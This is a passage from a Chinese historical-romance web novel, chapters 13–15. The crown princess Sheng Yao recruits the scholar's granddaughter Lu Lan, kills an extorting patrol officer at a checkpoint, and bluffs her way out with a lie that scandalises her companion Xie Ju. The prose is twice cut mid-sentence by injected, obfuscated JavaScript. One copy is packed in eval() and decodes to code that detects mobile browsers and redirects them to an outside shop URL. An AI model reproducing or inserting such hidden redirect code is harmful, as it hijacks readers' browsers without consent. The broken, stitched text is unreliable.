“我祖父只有一个见不得光的弟子,就是皇太女殿下!” 话音未落, 就在这互相对峙之际,门内传来一声呵斥: “阿览!住口!无状!” 一个身着深色布袍的中年男子从门后快步走出。他面容清瘦,眉宇间与卢太傅有几分相似,只是鬓角已染风霜,神情更显沉郁。他一出门,便狠狠瞪了那女郎一眼,随即快步上前,一把将她拉到身后。 “叔父!”那叫阿览的女郎不服气地挣了一下。 中年男子向前一看,更不犹豫,立刻整衣肃容,趋上两步,对着盛尧长揖及地,声音微颤: “臣,光禄勋属吏卢偃,拜见皇太女殿下!小侄女年幼无状,冲撞殿下,万死万死!” 13. 奔跑 这叫卢览的姑娘仍想回头,却被自家叔父一个严厉的眼神给瞪了回去。 盛尧总算从被考问的感觉里挣脱,心里的弦松了些,回到了她熟悉的领域,赶忙上前一步,将那中年男子扶起:“卢大人快请起,是晚辈冒昧来访,惊扰了府上清静。” 卢偃见她言语温和,并无怪罪之意,这才稍稍安心,却仍是执意行完了大礼,才肯起身。他侧过身,又瞪了卢览一眼,压低声音斥道:“还不快给殿下赔罪!” “先生不必如此,”盛尧不尴不尬地摆摆手,想到老太傅,眼圈有点红,“卢姑娘心忧先师声名,盘问得紧,也是应有之理。是我……是我来得太晚了。” 说到最后一句,她几乎要落下泪来。 卢偃见她神情真挚,叹了口气,侧身让开门路,躬身道:“殿下……快请进吧。家门不幸,多有败落,还请殿下不要嫌弃。” 盛尧这才跟着他走进院内。这府邸从外面看着破败,内里更是萧条。院中积雪甚厚,只有一条小径被勉强扫出,两侧的廊庑立柱,朱漆剥落,露出底下灰白的木色。这般景象,哪里像个帝师府邸,分明是早已败落的寻常人家。 “卢先生,”盛尧很是难过,“请问,府上近日,可曾有门客与我送信?” 卢偃一怔,道,“殿下,家父病故之后,为避嫌疑,府中门客早已尽数遣散,如今只剩下我们叔侄二人,与几个老仆在此守着旧宅。何来门客一说?” 身旁那个叫卢览的女郎却凑了上来。换上了一副天真好奇的神情,睁着一双黑白分明的眼睛,绕着盛尧走了半圈。 “原来真是皇太女殿下,”卢览打量着盛尧的男装,“阿览方才失礼了。” 盛尧眼皮一跳,后退半步。女郎将眼睛眨了眨,咄咄逼人的气势又冒了出来,只是盖上一副虚心求教的模样,“听说殿下近日开府建制,阿览能斗胆再请教些么?” 拒绝,拒绝。 还没等盛尧说出不要啊,她便问道,“殿下,你既是皇太女,那你的宫府仪制,是如何定的?东宫詹事府当设丞、率、仆射等属官,你的皇太女府,遴选是依察举,还是另开辟雍?” 盛尧被她问得几乎绝望,只支吾道:“初立……尚未完备。” “嗯?”卢览眼珠一转,又追问道,“那殿下新设的‘鸾仗’与‘麟卫’,我倒是听说了,名头新鲜得很。不知其勘合符传,由何衙署签发?是归詹事府、卫尉府,还是另设新署?调动兵马,虎符为凭,殿下内卫之符,又是什么形制?” 全是盛尧从未考虑过的细节。她只想着要有人,却没想过这背后盘根错节的官僚体系。 “这个……符传由我亲发,暂……暂不经各衙署。”盛尧十分心虚。 卢览“唔”了一声,似乎对这个答案不甚满意,她绕着盛尧走了一圈,又抛出一个更刁钻的问题:“殿下所募健妇,是按更卒轮换,还是拟宫人服役?几年一更替?几月一放归?钱粮几何?倘若有了折损,如何递补?抚恤何定?家人怎么安置?” 盛尧整个人都破防了,恨不得薅下自个头发塞进她嘴里,只觉得自己是夫子门前一个瑟瑟发抖的小童,脑子里嗡嗡作响,好似有几百只蛐蛐在同时尖叫。 这些年,她被当做一个符号,一个象征,一个活着的牌位幽禁在别苑。所有人,包括谢巡和卢太傅,都只关心她这个“太子”的身份是否稳固。连母妃生前,也只是在乎她是否能将这场戏演下去。 从来没有人指望过她真正治国。 当今天下,名士重清谈玄理,轻俗务吏治。卢太傅教导她时,谈的也是春秋大义,为君之道,如何“正名分”,如何“法先王”。哪里跟她讲过,府邸该如何定编例,发俸禄,管人事? 一个正经的太子,身边自然有一整套东宫官署去处理这些繁杂事务,从詹事到洗马,从舍人到中垒,各司其职,怎么会需要储君亲自去操心这些? 可她不是个正经太子啊!她是个傀儡玩意!皇太女,是凭空冒出来的,哪有什么班底可言? 说不得,只能打叠起早年的丁点学问,搜索枯肠。 “这个……按仪典所载,”她磕磕巴巴地道,“皇太女乃是新置,尚无定制。大约……大约可援引东宫旧例……至于员额用度……尚未……尚未厘定清楚。” 话没说完,眼睛一闭,自己也觉得心虚。 “那都是几百年前的空话了!”果然搪塞不过去,女郎气势汹汹地逼近一步,“我问的是眼下!是国朝的法度!是你自己府里的规矩!殿下,你连自己手底下有多少人,该怎么管,都说不清楚吗?” 她撇了撇嘴,毫不客气地做了个总结: “你怎么什么都不懂?” 盛尧感觉自己脸红了,脸上火辣辣的,好像被蛐蛐狠狠蹬了几下。 “阿览!”卢偃在旁边急得直跺脚,连忙上前将侄女拉开,又连连请罪,“殿下恕罪!姑娘家口无遮拦,不知天高地厚!” 他生怕这口齿伶俐的侄女再说出什么冒犯话来,将盛尧得罪得狠了,因此一边赔罪,一边明里暗里下逐客令。 “殿下,府上实在简陋,先父新丧,家中一片狼藉,实在不便待客……”卢偃躬着身,“还请殿下……先行回宫,待臣改日收拾停当,再去宫门前请罪。” 盛尧心里还记挂着那封信,还想再问些什么,可卢偃恨不得立刻将她送走,也实在不好再多留。她一个皇太女,赖在臣子家中不走,传出去也不像话。 她只好点头,满心失望,又看了那叫卢览的姑娘一眼,这才在卢偃几乎是“护送”般的姿态下,被一路送出了府门。 本来是雄心壮志,想来寻一只最厉害的黑头大将军,替她去斗谢巡,斗那些诸侯。结果呢?人家的蛐蛐没见到,反倒被看管蛐蛐罐儿的小姑娘,用草棍儿戳得浑身是洞,毫无还手之力。 盛尧走出坊门,馁得蹲下身子,揪揪头发。 什么都不懂。 她甚至连自己养的蛐蛐该吃什么,住什么样的罐儿,都一无所知。就这么把它们拎出去,可不是要被人家活活咬死么? 叮铃。 “走吗?”谢琚也与她一齐蹲了下来,轻轻地问,“阿摇,我们要走了吗?” 盛尧点点头。 走出几步,忽然停了下来。 郑小丸不解地回头:“殿下?” 盛尧抬起头,又摇一摇。 是啊,她什么都不懂。可这世上,难道还有比一个什么都不懂的人,更需要一个什么都懂的帮手吗?她的蛐蛐罐里,不能只有她这一只笨蛐蛐。得把那些最厉害的,给弄进来。 “回去!”她一转身。 “啊?”郑小丸怒道,“殿下,还回去做什么?受她奚落吗?” 盛尧将腰间刀柄一扬,转头就跑,头也不回地道:“抓蛐蛐!” * 跑起来就很好,跑起来就很恰当。 盛尧喜欢奔跑的感觉,仿佛连风都有了方向。 当她被关在别苑的时候,别苑什么都没有,就只是大,她扮着男装,时时警惕,万不敢与宫人们多作交谈。因此奔跑是她唯一能感受到的,属于自己的速度。只是用自己的双脚,去丈量那一方天地。 此刻,她又跑了起来。脑子里那几百只尖叫的蛐蛐,忽然都安静了。 “殿下!殿下你慢点!”郑小丸在后面急急地追。谢琚则不紧不慢地缀在最后,帷帽下的脸看不清神色,只有腕间的铜铃随着他的步子,叮铃叮铃,清脆地响着。 盛尧一口气跑回那扇朱漆剥落的乌头门前,扶着膝盖,大口喘气。 一抬头,却愣住了。 门没有关着,那个叫卢览的女郎,正坐在门前的台阶上,双手百无聊赖地抠着下巴。 她换下素服,穿上了一身便于行走的窄袖襦裙,身边放着一个小小的包袱。见盛尧去而复返,也不惊讶,只是那样看着她,目光沉静,比这冬日的飞雪更清澈。 盛尧还没喘匀气,就见卢览走下台阶,在她面前三步远的地方,端端正正地跪了下去,一个头磕在雪地上。 这一下,把盛尧和追上来的郑小丸都弄得愣住了。 “殿下若不嫌弃卢览才疏学浅,言语无状,”卢览抬起头,目光灼灼地看着盛尧,声音坚定,“卢览愿追随殿下,入宫为殿下刀笔。” “你……”盛尧奇道,“你……怎么知道我会回来?” “殿下若真走了,那便是走了。”卢览板着脸,“殿下若是回来,阿览便在此处。” 简单,干脆。 “胡闹!” 卢偃听见动静,又匆匆从府里追了出来,见侄女竟跪在地上,顿时气得脸色发白,“阿览!你这是做什么!还不快起来!成何体统!”叹了口气,又对盛尧道:“殿下,小女无状,您……” “叔父,”卢览却抬起头,打断他,“此事与叔父无干,是阿览自己的主意。” 她转向盛尧,道,“殿下,我祖父丁忧之期 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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这一推,力道没收住,比方才对卢览那一下,可是粗鲁多了。 谢琚本来就跟了一路,心里头憋着火,又被这车厢里的拥挤弄得心烦意乱,冷不防被她这么一搡,整个人便朝着车厢最里头仰过去。 头上的帷帽再也戴不住,骨碌碌地滚落下来,掉在脚边。 车厢内光线昏暗,可容色在昏暗的车厢内,却仿佛盈着微光,将这逼仄的空处都照得亮堂了些许。 因这番冲撞,散乱的几缕发丝垂落,衬着那张因薄怒而染上红晕的脸,眼角眉梢,皆是凌厉灼人的艳色。 眸子里此刻正燃着一簇货真价实的怒火,痛恨地瞪向罪魁祸首盛尧。 “这……这不是……” 卢览像见了鬼一般,猛地向后一缩,指着那张脸,话都结巴起来,“丞相府里那位……立志要当……” 她倒吸一口凉气,眼睛睁得大大的。 认得这张脸。或者说,整个都中的世家女,无人不认得这张脸。 盛尧被谢琚盯得心虚,又被卢览这反应惊吓,只好体贴周到地笑两声。 “咳,就是他。”她捻一捻自己的衣角,含糊应道,“你认得他。” 尴尬得脚趾都快在鞋履里抠出一座别苑。 卢览像是被惊得不轻,看看谢琚,又看看盛尧,卢氏世代簪缨,都中世家之间的秘闻轶事,哪有她不知道的。丞相府这位四公子,在这些仕女圈子里,简直谈得上如雷贯耳。 盛尧被她瞪得实在没办法,附耳与她解释:“说来话长……总之,我现在去哪儿都得带着他。” 眼见谢琚气得背过身去。卢览看他不防,也凑近盛尧些,压低声音,小声语道:“殿下,您可知,他在都中世家女里,是十分的……有名气?” 盛尧摇了摇头。她做了十年的太子,哪里知道世家女们的这些消息。 车厢里忽然陷入了尴尬古怪的沉默,几人身形晃动,车轮碾过雪地,轧的一响。 “咱们走了。” “卢姑娘,”车里霎时挤些,郑小丸便凑头过来,问道,“三年之后,你真要回来呀?” 卢览听她这样说,回过神,一指盛尧。 “我费这样多心思给她送信,她若到了那时还什么都不懂,”卢览严厉地与她说,“那也不必等丁忧期满,我们大约早就一起掉脑袋了。” “不掉脑袋,”盛尧捧起自己的脸,苦恼得差点尖叫,“绝不会掉脑袋的!” 14. 至少今天吧 盛尧偎在车边,假装看窗外的街景,又有些不好意思,使眼角余光偷偷打量车内。 卢览十分磊落,被那张脸震惊了片刻后,便恢复了镇定,只是目光仍好奇地在谢琚和盛尧之间来回逡巡,好似在重新评估自己刚刚做下的这个“投效”决定,到底有多么草率。 而被人盯着的谢琚,在最初的薄怒之后,便恢复了那副安然的模样。叮铃的声响也停了,大约是主人家气得不想动弹。他寻了个最宽敞的角落坐下,将滚落的帷帽捡起,抱在怀里,又把白色的狐裘裹得更紧了些。 青年闭上眼,靠着车壁,似乎将周遭的一切都摒弃,只有耳垂上那枚青珊瑚坠子,随着车身的颠簸,一下下地轻晃,映着明昧的侧脸,透出几分不安的危险意味。 辎车一路行进,盛尧将车帘掀开一角,向外望去。人群早已散得差不多,坊市的店铺大多已经上板,只余下几家酒肆食铺挑起灯笼,昏黄的光,蒙蒙地在寒风中摇动,照出三三两两晚归的行人。 “卢姑娘,”她回过头,眼睛亮晶晶的,“你方才问我的那些……府库、员额、勘合、抚恤……我都记下了。等回了宫,你便写个条陈出来,我们一项一项地议。” “不必等回宫,”卢览放弃盯着她,只是打理自己的包袱,“殿下眼下最缺的,不是条陈,是人。一个能替您掌刀笔、理文书、调度府库、传达号令的长史。须得尽快向丞相商定。” 盛尧点点头,又有些发愁:“可丞相府那边,怕是会塞自己的人进来。” “那便让他塞。”卢览瞪了她一眼,“殿下要的,是‘皇太女府长史’这个名头和官署。只要官署立起来,至于里面坐的是谁,总有办法换掉。” 郑小丸在车辕上听着,回头插话道:“殿下,咱们这是要去哪儿?天都快黑了,再不回宫,怕是要赶上宵禁啦。” 盛尧点点头,“回宫。” 行过长街,日头已然完全落进了黑色。辎车穿过几条仍多灯火的坊街,渐渐驶向宫城附近较为僻静的驰道。周围的人声与灯火都更加稀少。 就在辎车拐过一道街角,将要驶入通往宫城的驰道时,前方忽然亮起一排火把,将道路拦住。 “停车!”一声厉喝传来。 车马一顿。盛尧挑起车帘的缝隙,瞄过去,前方几名吏士手持火把,正围着一队商旅大声呵斥。为首的吏士头戴武冠,身着皂衣,腰间佩着环刀,看服制,应是此处的都亭长。一脸横肉,嘴里不干不净: “都给老子打开!仔细搜检!近日都中查得紧,恐有细作夹带违禁之物!” 那商旅的管事连连躬身作揖,往他手里塞了几枚银钱,陪着笑道:“大人行个方便,我等都是正经生意人,绝无违禁之物。天寒地冻,还请高抬贵手。” 都亭长掂了掂手里的钱,冷笑一声,将钱哗啦丢下雪地,“这点东西,就想打发叫花子?给我搜!车轴里也不能放过!” 他身后几名游徼便匆匆扑了上去,粗暴地掀开货物上的油布。 卢览凑到盛尧耳边,低声道:“殿下,日落坊门闭,但主街驰道,当至人定之后方才禁行。此刻天色未晚,远不到宵禁之时。夜巡盘查,非有执金吾或卫尉府手令,不得擅开民商箱箧,更不能随意搜检官宦车驾。这些人,逾制了。” 盛尧低声应道:“他们不像是盘查,倒像是明抢。” “可不是么,”郑小丸的声音从车辕处传来,悄声与她说,“这帮人,就是找由头要好处罢了。” 盛尧眼睁睁地看着一名游徼将上好的绸缎扔在雪水里,又拿刀鞘去捅那些装着粮食的麻袋。 “但却也好生奇怪,”盛尧压着愤怒,放低声音,对郑小丸和卢览道,“不像是寻常勒索。” “这有什么奇怪?”郑小丸却习以为常,“如今这官职,哪个不是拿钱买来的?六百石乃至二千石的大官都能买,一个城门都伯,花了钱,自然得想办法捞回来。别说都中了,我当年跟着戏班子走南闯北,这种事见得多。” 她一掰手指头,“州有州的价,郡有郡的价,有的地方,连个亭长都要万钱呢。他们不从过往商旅身上刮,难道还指望朝廷那点俸禄么?” 盛尧大惊失色, “可……可这里是都中啊!” “都中更要加倍刮得狠些,官位贵嘛。”郑小丸心领神会。 卢览将双脚望前放放,自言自语似的道:“吏治败坏,国将不国,便是如此了。”她叹了口气,“听闻近日东海郡那边,岱州牧田昉正在推行变法,经量土地,清查田亩,也不知何时结束。” 盛尧精神一振,却心中奇怪,问她:“变法图新,整顿田亩,将田地重新丈量,按亩纳税,这不是好事吗?岱州如此一来,可抑豪强,也可清查隐户,于国于民,都是大有裨益的。” 在她读过的圣贤书里,这可是历代明君贤臣才会推行的大政,拨乱反正的良策。 卢览却摇了摇头,将目光转向郑小丸。 郑小丸苦笑一声,对盛尧道:“殿下,话是这么说,可真到了咱们地上,就不是那么回事了。什么叫‘经量土地’?就是派人下来,拿着竹竿,在你家田里走一圈。走这一圈,名目可就有好多。” 她摇摇头伸出手指,一根根地与她数: “先要收一笔‘弓手钱’,是给丈量人手的辛苦费;再收一笔‘竹竿钱’,是量地工具的损耗;量完了,还要收一笔‘文书钱’,是给你登记入籍的费用。” 她朝那暮色沉沉的天边看看,续道:“田好的,说你隐匿上田,要罚。田差的,说你懒于耕作,也要罚。全凭他们一张嘴。一轮经量下去,不知多少人家要欠下债来。倾家荡产,卖儿卖女,成了流民,那这田也就顺顺当当地没了。比前头那些都亭长,吃相还要难看百倍!” 盛尧大为震撼,还不待她说些什么,忽然被谢琚拉拉袖子,她转头一看,那前面的吃相也变得更加难看了些。 商旅管事被推搡在地,银钱撒了一雪地,也无人去捡。几个游徼如狼似虎,将货物翻得乱七八糟,稍有值钱些的便不动声色地揣进自己怀里。 盛尧看得心头发冷,什么见鬼的都亭盘查,这就是光天化日之下的劫掠。 她透过车帘缝隙,看着都亭长一脚将散落的银钱踩进泥雪里,乜着眼,将目光投向了她们这辆辎车。 这车虽然朴素,但拉车的马匹不错,车身也稳,那都亭长便知车中人非富即贵,当即大手一挥,喝道:“那辆车,也给老子停下!” 郑小丸在车辕上眉头一皱,握紧了剑柄。车夫勒住缰绳,一脸为难。 几名游徼立刻围了上来,拿长戟柄“梆梆”顿着地面,喝道:“车里的人,下来!下来接受盘查!” 郑小丸跳下车辕,拦在车前,从怀中取出东宫符传,冷声道:“我等乃东宫属卫,奉中庶子之命公干,尔等安敢放肆!” 都亭长见了符牌,眼神闪烁,却未收敛,反而皮笑肉不笑地道:“原来是东宫的人,失敬失敬。只是如今都中情势紧张,外有诸侯觊觎,内防奸细乱党,我等也是奉司隶校尉府之命,严查出入。还请几位行个方便,下车接受查验。” “放肆!”郑小丸怒道,“东宫内臣,岂是你说查就查的!” “内臣?”都亭长上下打量了她一眼,显然看她瘦小得意外,嗤笑道,“如今这都中,谁家不说自己是宫里当差的?少废话,都给我下来!搜检!” 边上吏士便应喏,举起铁戟。 盛尧的目光越过那些吏士,望向驰道远处。瞄见昏暗的街角,似乎停着一辆更为华丽的马车,车前悬挂的灯笼式样,隐约有些眼熟。火光摇晃时候,看不真切,影影绰绰,却叫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704883|188915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心惊肉跳。 她怕被人认出来。这张脸,在太庙之中,在嘉德殿上,早已被都中稍有品阶的官员认熟。万一……万一那远处车里坐着的,正是哪位见过她的朝中公卿,此事一旦闹大,皇太女微服隐遁、私会旧臣的事情,怕是满朝都要晓得了。 届时,不仅是她,连刚刚投效的卢览和郑小丸,都要被牵连进去。 不行。 此时此刻,忽然有些前所未有的心思涌上心头。 这些是她的幕僚,是她费尽心力才抓来的“好蛐蛐”。她怎么能让自己的蛐蛐,还没上场就被人给踩死? 我是主君。 这个念头,第一次如此分明地在她脑中浮现。身为一个主君,就得保护好自己的臣下——哪怕是个一无所知,又自身难保的主君。 盛尧一咬牙,压压头上的男式冠帽,理理身上宽大的卫士服,低声对车外的郑小丸道:“小丸,让他们来。” 夜风一吹,她打了个寒噤。 而此时,车厢之内,还坐着最后一个人。 谢琚正气得要死。 耳朵疼,脸也疼,心更疼。 耳朵还在隐隐作痛,心里头的火更是烧得愤慨。今天一整日,被这丫头呼来喝去,像个物件一样推上车,又被都中女郎用硬邦邦的果子砸了满头。现在,还要跟一群蠢货挤在这破车里,听外头那些蠢材说蠢话。 打定了主意,今天,不,至少三天!三天之内,绝不再为她画任何一策!谢四公子也是有尊严的! 除非…… 他侧目瞟过去,见盛尧慢慢靠上车门帘,听见她那压抑着恐惧的细微呼吸声。 谢琚在心里冷笑。 慢悠悠地整理着自己的狐裘,打定主意,这三天就是天塌下来,他也只管看戏。 ……不,两天吧。两天就够了,毕竟吓坏了也不好。 外头,那都亭长的耐心似乎已经耗尽,朝手下使个眼色,一个吏士伸手就要来掀车帘。 ……罢了罢了,今天。 盛尧贴着车幔帐,手里按着腰刀,全神贯注。吏士的手已经伸了过来,带着寒气,眼看就要碰到她的脸。 盛尧身边的青年像是被反复喧哗惊扰,有些烦躁地叹口气,颊侧狐裘细毛被吹得一飞。 茜色的衣袖随之晃动。他探过身子,左右看了看,似乎在寻找一个更舒适的姿势,动作慢吞吞地,恰好将要挡在盛尧与那只手之间。 忽然面前刀光一闪。 血光喷溅。 伸进来的手向后仰倒, 咕咚一声,一颗人头掉在了车辕上,又骨碌碌的,滚进了泥雪里。 …… “大胆!” 盛尧深吸一口气,带血的腰刀入鞘,将谢丞相那张虎皮,毫不犹豫地扯了过来,罩在自己身上。 “中庶子与皇太女殿下联姻之事,将成‘阴阳合德’之千秋佳话,士庶人众,哪个不知?我家公子是什么身份,你们难道没有分寸?” 这句话厉喝出口,不仅是外面众人,连车里的卢览都惊得张开了嘴,郑小丸莫名其妙的转身看着车帘。 盛尧心中一横,干脆将谎言说得更大也更离谱,在车里沉声道: “咱们奉相府密令,从教坊司中挑了美人,今夜就要悄悄送到中庶子居处!此事机密,不可为外人道!你们这群蠢材,在此拦路盘查,大呼小叫,是想让全天下都听见?” 她将刀鞘朝外一指那地上的尸体,学着方才那都亭长的蛮横声气,冷冷地骂道: “此人冲撞车驾,意图窥探内帏,死有余辜!若是走漏了风声,坏了谢氏与皇家联姻的大事,这等罪责,你们担待得起吗!” …… 等一等。 ……送什么? 送给谁? 谢琚:? 15. 小不忍则乱大谋 一般说来,谢四公子觉得,自己的心窍里,大约有一座藏书阁。 阁内井井有条,分门别类,万卷策略,千册人心,皆在架上有序。他素日闲庭信步于其间,从容应对,随手取用,谈笑间便可定计,挥袖时已决胜负。所谓乱世取智,这是安身立命的根本。 而就在方才,盛尧一刀,两句话,便好似一颗天外飞来的陨石,轰然砸穿了藏书阁的屋顶,带着毁灭性的烈焰与浓烟,恰好落上他最珍视的那一排书架。 立志皇后,是他亲手写就,用以自保的精妙策略,此刻正被那盆叫做“教坊司美人”的脏水,浇得劈啪作响,冒着黑烟,眼看就要烧成一堆灰烬。 …… 他没动。 甚至忘了疼。 车里的谢中庶子非常缓慢地闭一闭眼,捻一捻耳朵。稍作沉吟,几乎怀疑是不是因为耳朵肿痛,烧坏了脑子,以至于生出了幻象。 白狐裘上最纤小的茸毛,也僵硬地停伫。 不对,是不是还是听错了? 她说什么?教坊司?送美人?悄悄地?今夜? 一连串的言辞在他那烧着了的藏书阁里豁剌剌乱飞,宛如受惊的几大群蝙蝠。 这已然不是什么脏水,这是在粪坑里给他立了座牌坊! 谢四公子,都中风姿第一,畿内筹策无双,多少名士推崇备至,何曾受过这等奇耻大辱? 立刻,马上,揪住这只胆大包天的兔子的衣服,把她从车里拖出去,让她当着所有人的面说清楚,谁要美人了?!谁要教坊司的美人了?! 一个一心想当皇后的天才公子,乃是天下奇闻,疯得别致,痴得令人扼腕叹息。 而一个嘴上说着要当皇后,私底下却偷偷从教坊司里寻美姬的男人?虚伪!下流!是都中所有不学无术的膏粱纨绔都干得出的破事! 风雅呢?!与众不同的疯病呢?! 立志当皇后的人,怎么能有冶游花丛如此不检点的声誉! 谢四公子气得眼前乌乌发黑,指尖都在颤抖,大约已经想好了至少十七种让盛尧求生不得求死不能的法门。 但是不行。 只能维持着那副安然若素的模样,甚至连眼睫都不能多颤一下。因为旁边,还坐着个卢览。 这个眼神锐利得像刀子似的卢家姑娘,仿佛瞬间就增补出了一整部世家秘辛,眼看要跟那小皇女解说。此时正用一种“你们都中子弟就是这般”的鄙夷神情,在他和车帘之间来回扫视。 一口老血,梗在喉头。 心窍里的藏书阁灰飞烟灭。谢琚抖着手一抄,见飞来的遗策,是半卷《周易参同契》,上头赫然写着“天符有进退屈伸以应时”。 进退屈伸。 此时若是发作,便是当场拆穿了盛尧的谎言。那这个小丫头片子,今日当街杀人的罪名,就再也洗不清了。身份大白,她要是完了,自己也得跟着完。 青年深深地,深深地吸了一口气,将那滔天的怒火与屈辱,硬生生压回了五脏六腑,搅得肝肠寸断。 力贵疾,智贵卒。兵法有云,因利而制权也。 小不忍,则乱大谋。 蠢是蠢了点,主要是她盛尧蠢。 脏是脏了点,主要是他谢琚脏。 但是,管用。 效果拔群。 这么个疯疯癫癫的年轻公子,谢氏准备推成“皇后”的男人,大婚前偷偷摸摸地寻几个教坊司的美人来“教习”一下,这事……听起来简直再合理不过了!解释了他们为何要行踪诡秘,更将此事死死地钉在“谢府家事”与“内帏丑闻”的范畴内。 …… 谢琚垂下眼睛,显出惆怅而惘然的样子,明姿巧笑,夭夭闲和。 算了。 他想。 都杀了吧。把这些人都杀了。把这只兔子也一起埋了。这个破天下,谁爱要谁要吧。他不干了。 就在谢四公子濒临崩溃,几乎要放弃自己长达数年的谋略规划时,那闯下滔天大祸的小皇女又开口道: “怎么?” 盛尧冷冷地喝问,“你们是聋了,还是瞎了?冲撞了丞相府的密令,还想活命吗?还不快滚!” 都亭长终于从惊骇中回过神来,听见车里女人声音,看看地上的尸体,又瞥一眼那块货真价实的东宫符传,脸上冷汗涔涔而下,两股战战,几乎要站立不稳。 “丞相密令”四个字,给他一百个胆子,他也不敢去查验真伪。至于什么“送美人”,什么“联姻之事”,一个字都不敢多想,只恨自己为什么偏偏今夜在此当值,听见了这等要命的宫闱秘闻。 “小人有眼不识泰山!冲撞了大人!小人该死!小人该死!”他一边磕头,一边狠狠抽了自己两个耳光,“求大人饶命!求大人看在丞相的份上,饶了小人一条狗命吧!” 车内再无半点声息。 都亭长更是吓得面无人色,只当是车内有贵人动了真怒。一挥手,对着手下那些早已呆若木鸡的游徼吏士们厉声喝道:“都还愣着做什么!还不快给大人开路!滚!都给我滚!” 一群人如蒙大赦,连掉在地上的兵器都来不及捡,屁滚尿流地朝两边退开,立时清出一条宽敞的道路。 远处街角华丽的马车,不知何时也已悄然离去。几步开外,那商旅管事倒机灵,觑着机会,赶忙招呼车队退到路边,朝前行去。 车夫战战兢兢地扬起马鞭,辎车重新缓缓启动,压过那滩尚未凝固的血迹,驶入沉沉的夜色。 盛尧靠在车壁上,只觉自己浑身的力气都被抽空。方才那股不知从何而来的悍勇之气散去,只剩下后怕,手脚冰凉,心脏还在蓬勃地狂跳。 她悄悄掀开车帘一角,回头看了一眼。只见那具无头尸身孤零零地躺在雪地里,很快,就会被夜巡的禁军发现。 她杀人了。 为了保住自己,保住身边的人。 这个认知让她一阵头晕。盛尧捂住嘴,强行将那股恶心压了下去。 “殿下。”卢览忽然问她,“方才那番话,是殿下临时想出来的?” 盛尧点点头,声音有些沙哑:“对。” “杀伐决断,又懂得借势,”卢览深吸一口气,在拥挤的车厢内,朝着她郑重地一揖,“好主公。” 这一声“主公”,教盛尧猛地回过神来。 她惴惴不安地将视线收回,又朝前看一眼车辕上背对着她的郑小丸,而后内疚地望向角落的背影。 盛尧小心翼翼地挪过去,在他身边坐下,试探着轻轻拽了拽他的袖子。 “那个……鲫鱼?” 没有反应。 她又拽了拽。 “我方才是……情急之下,胡说的,你听懂了吗?” 依旧没有反应。 盛尧无法,只好凑得更近些,小声地哄他: “我就是……就是那么一说。你若是听得明白,就不要在意,好不好?” 终于,闭着的眼睛缓缓地睁开一条缝。 一缕视线从缝隙里透出来,在她脸上停驻片刻。 腕间的铜铃默不作声,只有那枚青珊瑚耳坠,随着车身的晃动,一下,又一下,在青年的颊边轻轻摇晃,带起一点幽丽清冷的颜色。 辎车内,路途被车轮碾过雪地的轧轧声衬得好似更加漫长。 刚才的人头简直仍在盛尧的眼底滚动。她杀了人,一刀毙命,血溅当场。可此刻盘踞在她心头的,却不存什么恐惧,只是陌生的冰冷平静。 她发起抖来,低头看着自己握过刀的手,喷溅的血被车帘挡住,手上几乎干干净净,没有什么血迹,却仿佛能感觉到那温热粘稠的触感。 卢览最先打破沉默, “殿下,”她小声道,“此事须得尽快善后。尸身很快会被发现,都亭长虽然被吓住,但事后回过神来,难保不生变数。我们必须赶在他上报之前,回到别苑,将所有痕迹抹去。” “怎么抹?”盛尧费解,努力让自己显得不比谢琚更像个傻子。 “一个都亭小吏,当街被杀,此事可大可小。”卢览匆忙道,“往小了说,是东宫卫士与地方吏士冲突,失手杀人;往大了说,便是储君亲卫藐视法度,擅杀朝官。关键在于,此事由谁来定性,由谁来处置。” 郑小丸在车辕上回头,接口道:“由司隶校尉府?” “不,”卢览摇头,“要由丞相府。” 她续道:“殿下回宫之后,须立刻派人往丞相府‘请罪’。便说中庶子今日出行,受了惊扰,随行卫士为护主心切,与都亭吏士起了冲突,‘误杀’一人。请丞相定夺。” 啊,是这样。 将这盆脏水,连带着那口黑锅,一并推到丞相府的门口。此事因“谢府中庶子”而起,又牵涉到“丞相密令”,谢巡为保自家颜面,为全那“阴阳合德”的谶纬,绝不会让此事闹大。他只会用最快的速度,将此事压下去,定义为一桩微不足道的意外。 盛尧点点头,只是心虚地又看了谢琚一眼。 辎车一路疾驰,赶在宵禁之前,安然回到了别苑。 盛尧还没坐下,就立刻教老黄门令带着厚礼,连夜赶往丞相府“请罪”,将一番说辞交代得清清楚楚。 果不其然,次日一早,丞相府便传回话来。谢巡对“中庶子受惊”一事表示了“关切”,又对“卫士护主心切”表示了“理解”,只说此事交由廷尉府秉公处置。 所谓的“秉公处置”,最终变成廷尉府卷宗里轻描淡写的一笔:都亭游徼某,醉酒当值,冲撞东宫车驾,有扈卫格杀,家中抚金二百。 盛尧发着呆,只觉得冰冷,这就是吏治不清时权力的模样。她杀了一条人命,却连一丝波纹都激不起来。 因此泄气地坐在书房里,卢览站在一旁, “殿下,经此一事,丞相必会对别苑加强监看。此时,正是殿下顺水推舟,向他讨要‘皇太女府长史’一职的最好时机。” “他一定会派自己的人来。”盛尧忧心忡忡。 “那便让他派。”卢览凶恶地说,叫人心里发虚,“殿下不仅要接受,还要欣然接受。回去即刻上表,就说皇太女府初立,年幼识浅,难以周全,恳请丞相为您择一德才兼备之人,以理府事。姿态放得越低越好。” “行!”盛尧振奋,演戏嘛,这个熟,还能比扮男装更难不成? 卢览点点头,伸出两根手指,指上绢帛,“而后,我们便可名正言顺地,将这皇太女府,一分为二。” 什么?盛尧屏住呼吸凑过去,只见卢览在绢帛上写下“外府”与“内府”四个字。 